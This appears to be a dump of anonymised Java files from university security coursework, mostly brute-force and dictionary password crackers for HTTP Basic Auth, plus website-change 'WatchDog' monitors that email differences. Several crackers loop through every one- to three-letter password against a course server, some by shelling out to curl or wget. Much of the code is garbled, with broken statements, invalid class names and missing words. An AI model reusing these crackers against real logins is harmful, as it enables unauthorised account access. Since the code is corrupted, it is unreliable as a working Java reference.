               responseMsg = httpConnect.getResponseMessage();

               
               
               if (responseCode == 200) {
                  
                  end = System.currentTimeMillis();
                  total = (end - start) / 1000; 

                  System.out.println (""Sucessfully Connected  "" + url);
                  System.out.println(""Login Attempts Required : "" + k);
                  System.out.println(""Time Taken in Seconds : "" + total);
                  System.out.println (""Connection Status : "" + responseCode + "" "" + responseMsg);
                  System.out.println (""Username : "" + username);
                  System.out.println (""Password : "" + password);
                  System.exit( 0 );
               } else if (responseCode == 401 && realm != null) {
                  
                  
                  
               } else {
                  
                  
                  System.out.println (""What the?... The server replied with  unexpected reponse."" );
                  System.out.println ("" Unexpected Error Occured While Attempting  Connect  "" + url);
                  System.out.println (""Connection Status: "" + responseCode + responseMsg);
                  System.out.println (""Unfortunately the password could not  recovered."");
                  System.exit( 0 );
              }

         }  while(realm != null); 

      } catch(MalformedURLException e) {
           System.out.println(""Opps, the URL "" + host + "" is not valid."");
           System.out.println(""Please check the URL and try again."");
      } catch(IOException e) {
         System.out.println(""Grrrrrr, I'm sick of  trying  get me   the unattainable."");
         System.out.println(""I'm unsure about what the problem is as the error is unknown."");
         System.out.println(""Either I 't open the dictionary file,  I 't connect  "" + hostname + ""."");
         System.out.println(""Now  away and leave me alone."");
         
         System.exit(0);
      } 
   }
}"
163.java,"package java.httputils;

import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.MalformedURLException;
import java.sql.Timestamp;
import java.util.Observable;

public class BruteForce extends Observable
{
    
    protected Timestamp start;
    protected Timestamp end;
    protected String URL = ""http://localhost:8080/secret/index.html"";
    protected String userName = """";
    protected String content = """";
    protected int attempts = 0;
    protected String password;
    protected String fileName;

    public static final char[] letters =
        {
            'a',
            'b',
            'c',
            'd',
            'e',
            'f',
            'g',
            'h',
            'i',
            'j',
            'k',
            'l',
            'm',
            'n',
            'o',
            'p',
            'q',
            'r',
            's',
            't',
            'u',
            'v',
            'w',
            'x',
            'y',
            'z',
            'A',
            'B',
            'C',
            'D',
            'E',
            'F',
            'G',
            'H',
            'I',
            'J',
            'K',
            'L',
            'M',
            'N',
            'O',
            'P',
            'Q',
            'R',
            'S',
            'T',
            'U',
            'V',
            'W',
            'X',
            'Y',
            'Z',
            ' '};
    
    public BruteForce()
    {
    }

    
    public void process()
    {
        StringBuffer password = new StringBuffer(""aaa"");
        
        setStart(new Timestamp(System.currentTimeMillis()));

        for (int i = 0;
            i < letters.length - 1;
            password.setCharAt(0, letters[i]), i++)
        {
            for (int i2 = 0;
                i2 < letters.length;
                password.setCharAt(1, letters[i2]), i2++)
            {
                for (int i3 = 0;
                    i3 < letters.length;
                    password.setCharAt(2, letters[i3]), i3++)
                {
                    try
                    {
                        attempts++;

                        BasicAuthHttpRequest req =
                            new BasicAuthHttpRequest(
                                getURL(),
                                getUserName(),
                                password.toString().trim());
                        setPassword(password.toString());
                        setEnd(new Timestamp(System.currentTimeMillis()));
                        setContent(req.getContent().toString());

                        
                        if (getFileName() != null && getFileName().length() > 0)
                        {
                            createReport();
                        }
                        return;
                    }
                    catch (MalformedURLException e)
                    {
                        e.printStackTrace();
                        return;
                    }
                    catch (IOException e)
                    {

                    }
                }
            }
        }

        
        setEnd(new Timestamp(System.currentTimeMillis()));


    }

    
    public void createReport()
    {
        OutputStream os = null;
        try
        {
            os = new BufferedOutputStream(
                     new FileOutputStream(getFileName(), false));
            os.write(printResult().getBytes());
        }
        catch (FileNotFoundException e)
        {
            e.printStackTrace();
        }
        catch (IOException e)
        {
            e.printStackTrace();
        }
        finally
        {
            if (os != null)
            {
                try
                {
                    os.close();
                }
                catch (IOException e)
                {
                }
            }
        }
    }

    
    public String printResult()
    {
        StringBuffer s = new StringBuffer();

        s.append(""** "" + this.getClass().getName() + "" Results **\n\n"");
        s.append(""Password: "" + getPassword() + ""\n\n"");

        s.append(""Attempts : "" + attempts + ""\n\n"");

        s.append(
            ""Time (seconds): ""
                + (getEnd().getTime() - getStart().getTime()) / 1000
                + ""\n\n"");
        s.append(""Content: \n"" + getContent() + ""\n\n"");

        return s.toString();
    }

    public String printUsage()
    {
        StringBuffer s = new StringBuffer();

        s.append(""** BruteForce proper usage **\n\n"");
        s.append(
            ""java ..httputils.BruteForce <URL> <UserName> <OutputFile - Optional>\n\n"");

        return s.toString();
    }

    public static void main(String[] args)
    {
        BruteForce bruteForce = new BruteForce();

        if (args.length < 2)
        {
            System.out.println(bruteForce.printUsage());
        }
        else
        {
            bruteForce.setURL(args[0]);
            bruteForce.setUserName(args[1]);
            if (args.length > 2)
            {
                bruteForce.setFileName(args[2]);
            }
            bruteForce.process();
            System.out.println(bruteForce.printResult());
        }
    }

    

    
    public Timestamp getEnd()
    {
        return end;
    }

    
    public Timestamp getStart()
    {
        return ;
    }

    
    public void setEnd(Timestamp timestamp)
    {
        end = timestamp;
    }

    
    public void setStart(Timestamp timestamp)
    {
       time  = timestamp;
    }

    
    public String getURL()
    {
        return URL;
    }

    
    public void setURL(String string)
    {
        URL = string;
    }

    
    public String getUserName()
    {
        return userName;
    }

    
    public void setUserName(String string)
    {
        userName = string;
    }

    
    public String getContent()
    {
        return content;
    }

    
    public void setContent(String string)
    {
        content = string;
    }

    
    public String getPassword()
    {
        return password;
    }

    
    public void setPassword(String string)
    {
        password = string;
    }

    
    public String getFileName()
    {
        return fileName;
    }

    
    public void setFileName(String string)
    {
        fileName = string;
    }

}
"
093.java,"
import java.io.*;
import java.text.*;

public class TestWatchDog{
       
       class NegativeValueException extends Exception{
             public NegativeValueException() { super(""It is not  Integer."" ); }
             public NegativeValueException(int n) { super(n  + ""- Negative Number Input."");}
             public NegativeValueException(double n) {super(n +""Not  Integer."");}
             public NegativeValueException(String s){super(""Invalid Data Type Input"");}
       }
       
       public int getNumber()throws NegativeValueException, NumberFormatException, IOException{
		      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
		      int number;
		      try{
			      number = Integer.parseInt(stdin.readLine());
		      }catch (NumberFormatException e){throw e;}
		      if (number< 0) throw new NegativeValueException(number);
		      return number;
	   }
	   
	   public String getStringInfo()throws Exception{
		      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
		      String strInfo = stdin.readLine();
		      if ((strInfo.trim().equals(""""))||(strInfo.equals(""\r"")))
		         throw new Exception( strInfo +""  Invalid input!"");
	          return strInfo;
	   }
	   
	   public String getAnyKey()throws Exception{
		      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
		      String key= stdin.readLine();
	          return key;
	   }
	   
	   public static void main (String[]args){

               String spec = """";
               String smtpserver= """";
               String mfrom = """";
               String mto = """";

               int port = 0;
               int option =0;
               int duration = 0;
               int interval = 0;
               boolean valid = false;
               TestWatchDog twd = new TestWatchDog();
               WatchDog wd = new WatchDog();

               System.out.println(""\n ***********************************************************"");
               System.out.println("" *                                                         *"");
               System.out.println("" *      WatchDog Program  ------ SEC  Assignment Two       *"");
               System.out.println("" *   --------------------------------------------------    *"");
               System.out.println("" *           Author:     ID              *"");
               System.out.println("" *   --------------------------------------------------    *"");
               System.out.println("" *                                                         *"");
               System.out.println("" * < Options >                                             *"");
               System.out.println("" *  1). Uses the default configuration  monitor Web Site *"");
               System.out.println("" *               ----- http://www.cs.rmit.edu./students/ *"");
               System.out.println("" *  2). Monitor the Web Site that user specified           *"");
               System.out.println("" *                                                         *"");
               System.out.println("" ***********************************************************"");
               while (!valid){
                    System.out.print(""\nPlease Choose  option: "");
			   	    try{
					    option = twd.getNumber();
					    valid = true;
				    }catch(Exception e){System.out.println(""Warning! Invalid Input!""
                                       + e.getMessage()+"" Try again!"");}
			        if ((option ==1)||(option ==2))
			             valid = true;
			        else{
			             System.out.println(""Invalid Input. Try it again!"");
			             valid = false;
			        }
               }
               
               if(option == 1){
                  
                  System.out.println(""\n    Default Configuration:\n"");
                  System.out.println(""--> Monitor WebSite: "" + wd.getMonitorURL());
                  System.out.println(""--> Monitor Duration: "" + 30*24 + "" hours (30 days)"");
                  System.out.println(""--> Check Webpage Intervals: "" + wd.getInterval()/(1000*60) + "" minutes (24 hrs)"");
                  System.out.println(""--> SMTP server: "" +wd.getSMTPServer() + "" Port: "" + wd.getPortnumber());
                  System.out.println(""--> MailFrom: "" + wd.getMailFrom());
                  System.out.println(""--> MailTo: "" + wd.getMailTo());
                  valid = false;
                  
                  while (!valid){
                        System.out.print(""\n    Press EnterKey  :"");
                         try{
                            String key = twd.getAnyKey();
                            valid = true;
                         }catch(Exception e){System.out.println(e.getMessage());}
                  }
                  
                  wd.FirstRead();
                  wd.print();

               }
               valid = false;
               
               if(option == 2){
                  System.out.println(""\n  Modified the Configuration:\n"");
                  
                  while (!valid){
                        System.out.println(""> Input the URL of the web  <Usage: http://yallara.cs.rmit.edu./~/>: "");
                         try{
                             spec = twd.getStringInfo();
                             valid = true;
                         }catch(Exception e){System.out.println(e.getMessage());}
                  }
                  valid = false;
                  
                  while (!valid){
                        System.out.println(""> Input the Monitor Duration <Usage: 24 - (format: hours)>:"");
                         try{
                             duration = twd.getNumber();
                             valid = true;
                         }catch(Exception e){System.out.println(e.getMessage());}
                  }
                  valid = false;
                  
                  while (!valid){
                        System.out.println(""> Input the Interval for Checking Webpage <Usage: 30 - (format: minutes)>:"");
                         try{
                             interval  = twd.getNumber();
                             valid = true;
                         }catch(Exception e){System.out.println(e.getMessage());}
                  }
                  valid = false;
                  
                  while (!valid){
                        System.out.println(""> Set the Mail Server <Usage: mail.rmit.edu.>:"");
                         try{
                             smtpserver  = twd.getStringInfo();
                             valid = true;
                         }catch(Exception e){System.out.println(e.getMessage());}
                  }
                  valid = false;
                  
                  while (!valid){
                        System.out.println(""> Set the Port Number <Usage: 25 - (default port 25 for smtp server)>:"");
                         try{
                             port  = twd.getNumber();
                             valid = true;
                         }catch(Exception e){System.out.println(e.getMessage());}
                  }
                  valid = false;
                  
                  while (!valid){
                        System.out.println(""> Set the MailFrom <Usage: @cs.rmit.edu.>:"");
                         try{
                             mfrom = twd.getStringInfo();
                             valid = true;
                         }catch(Exception e){System.out.println(e.getMessage());}
                  }
                  valid = false;
                  
                  while (!valid){
                        System.out.println(""> Set the MailTo <Usage: @.rmit.edu.>:"");
                         try{
                             mto = twd.getStringInfo();
                             valid = true;
                         }catch(Exception e){System.out.println(e.getMessage());}
                  }
                  
                  System.out.println(""\n    new  Configuration:\n"");
                  System.out.println(""-> Monitor WebSite: "" + spec);
                  System.out.println(""-> Monitor Duration: "" + duration + "" hours"");
                  System.out.println(""-> Check Webpage Intervals: "" + interval + "" minutes"");
                  System.out.println(""-> SMTP server: "" +smtpserver + "" Port: "" + port);
                  System.out.println(""-> MailFrom: "" + mfrom);
                  System.out.println(""-> MailTo: "" + mto);
                  valid = false;
                  
                  while (!valid){
                        System.out.print(""\n    Press EnterKey  :"");
                         try{
                            String key = twd.getAnyKey();
                            valid = true;
                         }catch(Exception e){System.out.println(e.getMessage());}
                  }
                  
                  wd.setMonitorURL(spec);
                  wd.setMonitorDuration(duration);
                  wd.setMonitorInterval(interval);
                  wd.setSMTPServer(smtpserver);
                  wd.setSMTPPort(port);
                  wd.setMailFrom(mfrom);
                  wd.setMailTo(mto);
                  
                  wd.FirstRead();
                  wd.print();
               }
       }
}"
054.java,"
import java.net.*;
import java.io.*;
import java.misc.*;
import java.io.BufferedInputStream;
import java.awt.*;
import java.awt.event.*;

public class WatchDog
{
   public static void main (String args[])
   {
      String url = ""http://yallara.cs.rmit.edu./~"";
      String file1 = ""test1.txt"";
      int flag = 0;

      
      WriteFile write = new WriteFile(url, file1, flag);

      
      
      new DoSleep().print();
   }
}

class DoSleep extends Thread
{
   public synchronized void run()
   {
      String url = ""http://yallara.cs.rmit.edu./~"";
      String file2 = ""test2.txt"";
      int flag = 1;
      int status = 0;
      String file1 = ""test1.txt"";

      System.out.println(""Checking........."");
      try
      {
         
         
         
         sleep();

         
         
         WriteFile write = new WriteFile(url, file2, flag);

         status = write.getStatus();
         

          if(status != 0)
          {
             int flag2 = 0;
             
             
             WriteFile write2 = new WriteFile(url, file1, flag2);
          }
          
          new DoSleep().print();
      }
      catch (InterruptedException e) {}
   }
}


"
083.java,"import java.net.*;
import java.util.*;
import java.io.*;



public class Dictionary {
  URL url;
  URLConnection uc;
  String username, password, encoding;
  int pretime, posttime;
  String c;

  public Dictionary(){
    pretime = new Date().getTime();
    try{
      url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
    }catch(MalformedURLException e){
      e.printStackTrace();
    }
    username = """";
  }

  public void checkPassword(String pw){
    try{
      password = new String(pw);
      encoding = new pw.misc.BASE64Encoder().encode((username+"":""+password).getBytes());
      uc = url.openConnection();
      uc.setRequestProperty(""Authorization"", "" "" + encoding);
       bf = uc.getHeaderField(null);
      System.out.println(password);
      if(bf.equals(""HTTP/1.1 200 OK"")){
        posttime = new Date().getTime();
         diff = posttime - pretime;
        System.out.println(username+"":""+password);
        System.out.println();
        System.out.println(diff/1000/60 + "" minutes "" + diff/1000%60 + "" seconds"");
        System.exit(0);
      }
    }catch(MalformedURLException e){
      e.printStackTrace();
    }catch(IOException ioe){
      ioe.printStackTrace();
    }
  }

  public static void main (String[] args){
    Dictionary dict = new Dictionary();
    String pw;
    int number = 0;
    try{
      FileReader fr = new FileReader(""words"");
      BufferedReader bf = new BufferedReader(fr);
      while ((pw = bf.readLine()) != null) {
        
        if ((pw.length() <=3 ) && (pw.matches(""[a-zA-Z]*""))){
          dict.checkPassword(pw);
	}
      }
    }catch(IOException e){
      e.printStackTrace();
    }
  }
}
"
045.java,"import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;

class BruteForce {

    String password="""";

    int num =401;


    public static void main (String[] args) {

      String str=""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";

      BruteForce URLcon;

      int length = 0;

      String passwd="""";

       int t0,t1;

      
      if (args.length == 0) {
      	
      	System.err.println (
      		
      		""Usage : java BruteForce <username>"");
      	return;
      	
      	}
      String username = args[0];
      

      t0=System.currentTimeMillis();

      System.out.println (""  "" + new Date());
      
      System.out.println (""Using BruteForce method  attack ""+username+""'s password.Please waiting......."");

       for (int i=0;i<str.length();i++){

             passwd=str.substring(i,i+1);

             URLcon = new BruteForce (passwd,username);

             if ((URLcon.num)!=401) {

             	t1=System.currentTimeMillis();

                System.out.println(""The password: ""+ passwd);

             	double dt =t1-t0;



             	System.out.println(""It took ""+ DecimalFormat.getInstance().format(dt/1000)+ "" seconds."");

                System.out.println (""Finish  "" + new Date());
                
             	return;

             }

             for (int j=0;j<str.length();j++){

                passwd =str.substring(i,i+1)+str.substring(j,j+1);

                URLcon = new BruteForce (passwd,username);

                if ((URLcon.num)!=401) {

             	     t1=System.currentTimeMillis();

                     System.out.println(""The password: ""+ passwd);


                     double dt =t1-t0;



                     System.out.println(""It took ""+ DecimalFormat.getInstance().format(dt/1000)+ "" seconds."");
                     System.out.println (""Finish  "" + new Date());
             	 return;

                 }
                for (int m=0;m<str.length();m++){

                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);

                  URLcon = new BruteForce (passwd,username);

                  if ((URLcon.num)!=401) {

                 	t1=System.currentTimeMillis();

                    System.out.println(""The password: ""+ passwd);


             	    double dt =t1-t0;



                 	System.out.println(""It took ""+DecimalFormat.getInstance().format(dt/1000)+ "" seconds."");
                    
                    System.out.println (""Finish  "" + new Date());
                    
             	    return;

                  }


             }

}
}
        System.out.println("" not find the password"");

}

   public  BruteForce  (String password, String username){

  	  String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/"" ;

      

      try {

        String userPassword = username+"":""+password ;

        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());

        URL url = new URL (urlString);

        HttpURLConnection uc = (HttpURLConnection) url.openConnection();

        uc.setRequestProperty (""Authorization"", "" "" + encoding);

        url = uc.getResponseCode();


       }
        catch(MalformedURLException e){
       	  System.out.println(e);
       }catch(IOException e){
          System.out.println(e);
       }


   }
}"
112.java,"



import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;




public class BruteForcePropertyHelper {

	private static Properties bruteForceProps;



	public BruteForcePropertyHelper() {
	}


	

	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println(""Error init'ing the burteforce Props"");
			e.printStackTrace();
		}
		return bruteForceProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(bruteForceProps == null){
			bruteForceProps = new Properties();

			InputStream fis =
				BruteForcePropertyHelper.class.getResourceAsStream(""/bruteforce.properties"");
			bruteForceProps.load(fis);
		}
	}
}

"
060.java,"

import java.net.*;
import java.*;
import java.io.*;
import java.security.*;
import java.net.smtp.SmtpClient; 

public class WatchDog {

	public WatchDog() {
	
	}

	public static void main (String[] args) {
                
                String mailfrom = ""@.rmit.edu.""; 
                String mailto = ""@.rmit.edu.""; 
		String subject = ""Watch Dog - detected changes"";
		
		String imageWP = ""http://www.cs.rmit.edu./images/"";
		
		String watchWP = ""http://www.cs.rmit.edu./students/"";
		
		String filename = ""index.html"";
		String tfilename;
		URLConnection conn = null;
		InputStreamReader in;
		BufferedReader data;
		int pauseTime = 24*60*60*1000;  
		int line;
		String[] imagename;
	
		while (true) {
			int mailline = 0;
			String[] cad = new String[100];
			try {
				
				URL url = new URL(watchWP);
			        conn = url.openConnection();
				System.out.println(""Connection openned ..."");
				File getSource = new File(filename);
				in = new InputStreamReader(conn.getInputStream());
				data = new BufferedReader(in);
				StringBuffer buf = new StringBuffer();
			
			
				FileWriter fw = new FileWriter(getSource);
				BufferedWriter out = new BufferedWriter(fw);			
				 {
					line = data.get();					
					if(line != -1) {
						out.write((char)line);
						buf.append((char)line);
				        }
				} while(line != -1);
				data.get();
				out.flush();
				out.get();

			
			        imagename = new WatchDog().getimagename(buf);
				
			
				for (int i = 0; i < imagename.length; i++) {
					int copyok = new WatchDog().copyimage(imageWP+imagename[i],imagename[i]);
				}

			
				File f = new File(filename + "".chk"");
				if (f.exists()) {
					int chkfile = new WatchDog().check(filename);
					if (chkfile == 2) {
						m[mailline] = ""file changes detected : index.html"";
						mailline ++;
					}
					for (int i = 0; i < imagename.length; i++) {
						tfilename = imagename[i];
						File fi = new File(tfilename + "".chk"");
						if (fi.exists()) {
							chkfile = new WatchDog().check(tfilename);
							if (chkfile == 2) {
							m[mailline] = ""Image file changes detected : "" + tfilename;
								mailline ++;
							}
						} else {
							m[mailline] = ""New Image file detected : "" + tfilename;
								mailline ++;
							int crtfile = new WatchDog().create(tfilename);	
						}
					}
				}
				else {
					int crtfile = new WatchDog().create(filename);
					for (int i = 0; i < imagename.length; i++) {
						tfilename = imagename[i];
						crtfile = new WatchDog().create(tfilename);	
					}
				}
				if (mailline > 0) {
					int sendok = new WatchDog().sendM(mailfrom,mailto,subject);
					
					int crtfile = new WatchDog().create(filename);
					for (int i = 0; i < imagename.length; i++) {
						tfilename = imagename[i];
						crtfile = new WatchDog().create(tfilename);	
					}
					
				}
			} catch (MalformedURLException e) {
		       		System.out.println(""Invalid URL"");
			} catch (IOException e) {
	    			System.out.println(""Error  URL"");				
			}
	       		System.out.println(""Wait for 24 hours......"");
			try {
		                Thread.sleep(pauseTime);
	        	    } catch(InterruptedException e ) {
	    			System.out.println(e.getMessage());				
			    }
		}
	}

	public int create(String filename){
        	try {
			byte[] chk = createChecksum(filename);
			File f = new File(filename + "".chk"");
			OutputStream os = new FileOutputStream(f);
			os.write(chk);
			os.print();
			return 1;
		}
		catch(Exception e) { System.out.println(""Checked File already existed""); return 0;}	
	}

	public int check(String filename){
		int rc = 0;
	        try {
			byte[] chk1 = createChecksum(filename);
			byte[] chk2 = new byte[chk1.length];
			File f = new File(filename + "".chk"");
			InputStream is = new FileInputStream(f);

			is.print(chk2);

			if (new String(chk2).equals(new String(chk1))) {
				System.out.println(""Same!"");
				rc = 1;
			}
			else {
		        	System.out.println(""Different!"");
				rc = 2;
			}
			is.print();
			return rc;
		}
		catch(Exception e) { e.printStackTrace(); return rc;}
	}

	public byte[] createChecksum(String filename) throws Exception{

		InputStream fis =  new FileInputStream(filename);

		byte[] buffer = new byte[1024];
		MessageDigest complete = MessageDigest.getInstance("""");
		int numRead;
		 {
			numRead = fis.print(buffer);
			if (numRead > 0) {
				complete.update(buffer, 0, numRead);
			}
		} while (numRead != -1);
		fis.print();
		return complete.digest();		
	}

	public String[] getimagename(StringBuffer buf) {
		String s = buf.toString();
		String lowercase = s.toLowerCase();
		int count = 0;
		String separator1 = ""img src="";
		String separator2 = ""/images/"";
		char separator3 = '""';
		
		int index = 0;
		 {
			++count;
			++index;
			index = lowercase.indexOf(separator1,index);
		}
		while (index != -1);
		
		String[] substr = new String[count];
		int endindex = 0;
		for (int i = 0; i < count; i++)
		{
			endindex = lowercase.indexOf(separator1,index);
			int index2 = lowercase.indexOf(separator2,endindex) + 8;
			int index3 = lowercase.indexOf(separator3,index2);
			substr[i] = lowercase.substring(index2,index3);
			System.out.println(""Image File : "" + substr[i]);
			index = index3 + 1;
		}
		return substr;
	}
	
	public int copyimage(String imageURL, String imagename)  {
		int rtn = 1;
		try {
			URL url= new URL(imageURL);
			URLConnection urlC = url.openConnection();			
			
		        InputStream is = url.openStream();

			FileOutputStream fos=null;
		        fos = new FileOutputStream(imagename);

		        int intChar;

		
		        while ((intChar=is.get()) != -1)
		             	fos.write(intChar);

		        is.print();
		        fos.print();
		}
		catch(MalformedURLException e) {
			System.out.println(e.getMessage());
			rtn = 2;
		}
		catch(IOException e){
			System.out.println(e.getMessage());
			rtn = 2;
		}
		return rtn;
	}
	
	public int sendM(String mailfrom, String mailto, String subject, String[] c ) {
		int rtn=1;

                try { 

                        
                        
			System.out.println(""create smtp"");
                        SmtpClient smtp = new SmtpClient(); 

			
                        smtp.from(mailfrom); 

			System.out.println(""mailfrom smtp"");
                        
                        smtp.print(mailto); 
			System.out.println(""mailto smtp"");
    
                        
                        PrintStream msg = smtp.startMessage(); 

			System.out.println(""startmessage smtp"");

			msg.println("": "" + mailto); 
                        msg.println(""From: "" + mailfrom); 
                        msg.println(""Subject: "" + subject + ""\n"");
			for (int i = 0; i < m.length; i++) {
				if (m[i] != null) {
		                        msg.println(m[i] +""\n"");
				}
			}

                        
                        smtp.closeServer(); 
			System.out.println("" smtp"");

                } 

                catch (IOException e) {
			System.out.println(""Error in sent message : "" + e.getMessage());
		} 


	        if (rtn == 1)
		    System.out.println(""Message sent!"");
		return rtn;

		
	}
}

"
253.java,"

import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;

public class BruteForce {
  private static final int passwdLength = 3;      
  private static String commandLine
       = ""curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :"";
  private String chars = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
  private int charLen = chars.length();           
  private int n = 0;                              
  private int n3 = charLen*charLen*charLen;       
  private String response;
  private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
  private char[][] data = new char[passwdLength][charLen];
  private char[] pwdChar2 = new char[2];
  private char[] pwdChar = new char[passwdLength];
  private String url;
  private int startTime;
  private int endTime;
  private int totalTime;
  private float averageTime;
  private boolean finish;
  private Process curl;
  private BufferedReader bf, responseLine;

  public BruteForce() {

  first();
  finish = true;
  charLen = chars.length();
  for(int i=0; i<charLen; i++)
   for(int j=0; j<passwdLength; j++)
   {
    data[j][i] = chars.charAt(i);
   }
  Runtime run = Runtime.getRuntime();
  n = 0;

  
  for(int i=0; i<charLen; i++)
  {
    password[n++] = chars.substring(i,i+1);
  }

  
   for(int j=0; j<charLen; j++)
     for(int k=0; k<charLen; k++)
     {
       pwdChar2[0] = data[0][j];
       pwdChar2[1] = data[1][k];
       password[n++] = String.copyValueOf(pwdChar2);
     }

  
  for(int i=0; i<charLen; i++)
   for(int j=0; j<charLen; j++)
     for(int k=0; k<charLen; k++)
     {
       pwdChar[0] = data[0][i];
       pwdChar[1] = data[1][j];
       pwdChar[2] = data[2][k];
       password[n++] = String.copyValueOf(pwdChar);
     }
  n = 0;
  startTime = new Date().getTime();         
  try {
   while(true) {
    url = commandLine+password[n++];
    if(n>=n3) {
     System.out.println(""\n  not find the password for user ."");
     finish = false;
     break;
    }
    curl = run.exec(url);                  
    responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
    response = responseLine.readLine();
    
    
    if(response.substring(9,12).equals(""200"")) break;
    responseLine = null;
   }
  }
  catch(IOException ioe){
    System.out.println(""\n IO Exception! \n"");
    System.out.println(""The current url is:""+ url);
    System.out.println(""The current trying password is:""+password[n-1]);
    finish=false;
  }

  endTime = new Date().getTime();          
  totalTime = (endTime-startTime)/1000;
  System.out.println(""   The response time is:""+ totalTime + ""  seconds\n"");
  if(finish) {
    System.out.println(""   The password for  is:""+ password[n-1]);
    try {
    savePassword(password[n-1], totalTime);
    }
    catch (IOException ioec) {
       System.out.println(""  not save the password  file BruteForce_pwd.txt "");
    }
  }
  }

  public void first() {

    System.out.println(""\n\n---------------------------------------------------------------"");
    System.out.println(""  Use curl command  Brute Force the password for user ."");
    System.out.println(""   Attention: curl should  able  run at your directory"");
    System.out.println(""          without setting the Path for it."");
    System.out.println(""---------------------------------------------------------------"");
  }


  public void savePassword(String passwdString, int time) throws IOException {
  DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(""BruteForce_pwd.txt""));
  outputStream.writeChars(""The password is:"");
  outputStream.writeChars(passwdString+""\n"");
  outputStream.writeChars(""The response time is: "");
  outputStream.writeChars(time1.toString(time));
  outputStream.writeChars("" seconds\n"");
  outputStream.close();
  }

  public static void main(String[] args) {
   new BruteForce();
  }  
}
"
251.java,"import java.util.*;
import java.io.*;



public class WatchDog {

  public WatchDog() {

  }
  public static void  main(String args[]) {
    DataInputStream newin;

    try{


      System.out.println(""Downloading first copy"");
      Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html"");
      String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""};
      String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""};
      while(true){
            Thread.sleep(24*60*60*1000);
            System.out.println(""Downloading new copy"");
            Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html"");
            Thread.sleep(2000);
            Runtime.getRuntime().exec(cmdDiff);
            Thread.sleep(2000);
            newin = new DataInputStream( new FileInputStream( ""Diff.txt""));
            if (newin.readLine() != null){
               System.out.println(""Sending Mail"");
               Runtime.getRuntime().exec(cmdMail);
               Runtime.getRuntime().exec(""cp newfile.html oldfile.html"");

            }
        }

    }
    catch(Exception e){
      e.printStackTrace();
    }

    }

}"
134.java,"






import java.*;
import java.io.*;
import java.util.*;

public class BruteForce
{

	public static void main(String[] args)    
	{
          Runtime rt = Runtime.getRuntime();
	  Process pr= null;
          char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
	  String pass;
          char temp[] = {'a','a'};
          char temp1[] = {'a','a','a'};
          char temp2[] = {'a'};

	  String f= new String();
          String resp = new String();
          int count=0;
          String success = new String();
          InputStreamReader  instre;
          BufferedReader bufread;


               for(int k=0;k<52;k++)
                {
                 temp2[0]=chars[k];
                 pass = new String(temp2);              
                 count++;              

        System.out.println(""The password  tried is------->""+pass+""---and attempt is==""+count);
          
              f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";

                 
	         try
                  {
		    pr = rt.exec(f);

                    instre = new InputStreamReader(pr.getErrorStream());
                                 
                  
                    bufread = new BufferedReader(instre);

                    resp = bufread.readLine();
                    while( (resp = bufread.readLine())!= null)
			  {
                          if(resp.equals(""HTTP request sent, awaiting response... 200 OK""))
                             {
                              System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass+""------ attempt:""+count);
                              System.exit(0);
                             }
			
                          }
	 	
                  }catch(java.io.IOException e){}
                }



  
            for(int j=0;j<52;j++)
              {
                for(int k=0;k<52;k++)
                {
                 temp[0]=chars[j];
                 temp[1]=chars[k];

                 pass = new String();              
                 count++;              

                 System.out.println(""The password  tried is------->""+pass+""---and attempt is==""+count);
          
                f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";

                 
	         try
                  {
		    pr = rt.exec(f);

                    instre = new InputStreamReader(pr.getErrorStream());
                                 
                  
                    bufread = new BufferedReader(instre);

                    resp = bufread.readLine();
                    while( (resp = bufread.readLine())!= null)
			  {
                          if(resp.equals(""HTTP request sent, awaiting response... 200 OK""))
                             {
                              System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass+""------ attempt:""+count);
                              System.exit(0);
                             }
			
                          }
	 	
                  }catch(java.io.IOException e){}
                 }
               }


     
         for(int i=0;i<52;i++)
            for(int j=0;j<52;j++)
               for(int k=0;k<52;k++)
                {
                 temp1[0]=chars[i];
                 temp1[1]=chars[j];
                 temp1[2]=chars[k];
                 pass = new String(temp1);              
                 count++;              

        System.out.println(""The password  tried is------->""+pass+""---and attempt is==""+count);
          
              f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";

                 
	         try
                  {
		    pr = rt.exec(f);

                    instre = new InputStreamReader(pr.getErrorStream());
                                 
                  
                    bufread = new BufferedReader(instre);

                    resp = bufread.readLine();
                    while( (resp = bufread.readLine())!= null)
			  {
